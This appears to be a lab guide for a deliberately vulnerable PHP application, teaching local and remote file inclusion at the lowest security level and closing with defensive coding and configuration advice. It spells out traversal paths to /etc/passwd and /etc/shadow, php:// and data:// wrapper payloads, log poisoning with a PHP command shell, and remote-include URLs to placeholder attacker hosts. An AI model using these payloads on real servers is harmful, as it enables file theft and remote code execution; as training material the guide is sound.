Skip to main content

Overview

File Inclusion vulnerabilities occur when web applications allow user-supplied input to specify files that will be processed or included in the application’s context. This can lead to:
  • Local File Inclusion (LFI): Including files from the local server filesystem
  • Remote File Inclusion (RFI): Including files from remote servers
These vulnerabilities can have severe security implications, potentially leading to:
  • Source code disclosure
  • Sensitive data exposure
  • Remote code execution
  • Server compromise

LFI vs RFI vs File Disclosure

Important distinction:
  • File Inclusion: The file is executed/processed in the application context (can lead to code execution)
  • Arbitrary File Access/Disclosure: The file content is read/displayed (information disclosure)
File inclusion is generally more dangerous because it can lead to remote code execution, while file disclosure “only” leaks information.

RFI Requirements

Remote File Inclusion requires specific PHP configuration:
  • allow_url_include = On (disabled by default in modern PHP)
  • allow_url_fopen = On (enabled by default)
When RFI is not possible, LFI combined with other vulnerabilities (like file upload) can achieve similar results.

Objective

Read all five famous quotes from the file /hackable/flags/fi.php using only the file inclusion vulnerability. Note: The file path is ../hackable/flags/fi.php relative to the vulnerability page.

Security Levels

Vulnerability Analysis

The low security level has absolutely no input validation. User input is directly used to include files, making it trivially exploitable for both LFI and RFI.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];
That’s it. The $file variable is then used directly in an include statement (in the main page logic):
include($file);
Key Vulnerability: Zero validation. The application blindly includes whatever file path the user provides.

Why It’s Vulnerable

  • No input validation whatsoever
  • No path sanitization
  • No whitelist of allowed files
  • Direct use of user input in include()
  • Accepts both absolute and relative paths

Testing Approach

Local File Inclusion (LFI):
  1. Directory traversal to read local files:
    ?page=../../../etc/passwd
    ?page=../../../../../../etc/passwd
    ?page=../hackable/flags/fi.php
    
  2. Null byte injection (PHP < 5.3.4):
    ?page=../../../etc/passwd%00
    
  3. PHP wrapper filters to read source code:
    ?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php
    
Remote File Inclusion (RFI):If allow_url_include is enabled:
?page=http://attacker.com/shell.php
?page=http://attacker.com/shell.txt
You can navigate to parent directories using ../ sequences. Count how many levels up you need to go to reach the root directory, then navigate to the target file.Alternatively, use PHP stream wrappers to read the file content. The php://filter wrapper is particularly useful for reading PHP source code.
LFI Examples:
# Direct path to objective
?page=../hackable/flags/fi.php

# Read system files
?page=../../../../../../etc/passwd

# Read PHP source code (avoid execution)
?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php
The last example is important because it encodes the PHP file as base64, so you can see the source code instead of executing it.RFI Examples (if enabled):
# Include remote PHP file
?page=http://evil.com/shell.php

# Include remote file disguised as image
?page=http://evil.com/shell.txt
For the objective, you need to read the quotes from fi.php. Using the base64 filter lets you see the actual PHP code with all 5 quotes.

Testing Methodology

Local File Inclusion (LFI)

Basic Directory Traversal:
?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
PHP Wrapper Exploitation:
# Read PHP source code (base64 encoded)
?page=php://filter/convert.base64-encode/resource=index.php

# Read file contents
?page=php://filter/resource=../hackable/flags/fi.php

# Execute PHP code (if allow_url_include is on)
?page=data://text/plain,<?php phpinfo(); ?>

# Read POST data
?page=php://input
(Send PHP code in POST body)
Log Poisoning:
# Inject PHP into access logs via User-Agent
User-Agent: <?php system($_GET['cmd']); ?>

# Then include the log file
?page=../../../var/log/apache2/access.log&cmd=whoami
Common File Targets:
/etc/passwd                    # User accounts (Linux)
/etc/shadow                    # Password hashes (Linux, requires root)
/var/log/apache2/access.log    # Apache logs
/var/log/apache2/error.log     # Apache errors  
/proc/self/environ             # Environment variables
C:\Windows\System32\drivers\etc\hosts  # Windows hosts file
C:\xampp\apache\logs\access.log        # XAMPP logs

Remote File Inclusion (RFI)

Basic RFI:
?page=http://attacker.com/shell.php
?page=http://attacker.com/shell.txt
PHP Wrappers:
?page=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
?page=php://input

Automated Testing

LFI/RFI Scanner Tools:
  • dotdotpwn: Automated LFI/RFI fuzzer
  • fimap: LFI/RFI exploitation tool
  • Burp Suite: Manual testing with Intruder
# dotdotpwn example
perl dotdotpwn.pl -m http -h target.com -M GET -o windows \
  -f /etc/passwd -k "root:" -d 5 -t 300

Defense Strategies

Primary Defenses

  1. Avoid Dynamic File Inclusion
    // Don't do this:
    include($_GET['page']);
    
    // Instead, use a mapping:
    $pages = [
        'home' => 'home.php',
        'about' => 'about.php',
    ];
    
    $page = $_GET['page'];
    if (isset($pages[$page])) {
        include($pages[$page]);
    }
    
  2. Strict Whitelist Validation
    $allowed = ['file1.php', 'file2.php', 'file3.php'];
    
    if (in_array($file, $allowed, true)) {
        include($file);
    } else {
        die('Invalid file');
    }
    
  3. Use basename() and Validate
    $file = basename($_GET['file']);
    $file = str_replace(['..', '/'], '', $file);
    
    if (file_exists("pages/$file")) {
        include("pages/$file");
    }
    

Additional Defenses

  1. Disable allow_url_include
    # php.ini
    allow_url_include = Off
    allow_url_fopen = Off  # If not needed
    
  2. Use open_basedir Restriction
    # php.ini - Limit file operations to specific directory
    open_basedir = /var/www/html
    
  3. Input Validation
    // Only allow alphanumeric and specific characters
    if (!preg_match('/^[a-zA-Z0-9_-]+$/', $file)) {
        die('Invalid filename');
    }
    

What Doesn’t Work

  • Blacklisting patterns: Too many bypass techniques
  • Single-pass filtering: Can be bypassed with nesting
  • Filtering only http://: Many other wrappers exist
  • Using wildcards in whitelist: Too permissive (as shown in high level)
  • Client-side validation: Easily bypassed

Resources

Build docs developers (and LLMs) love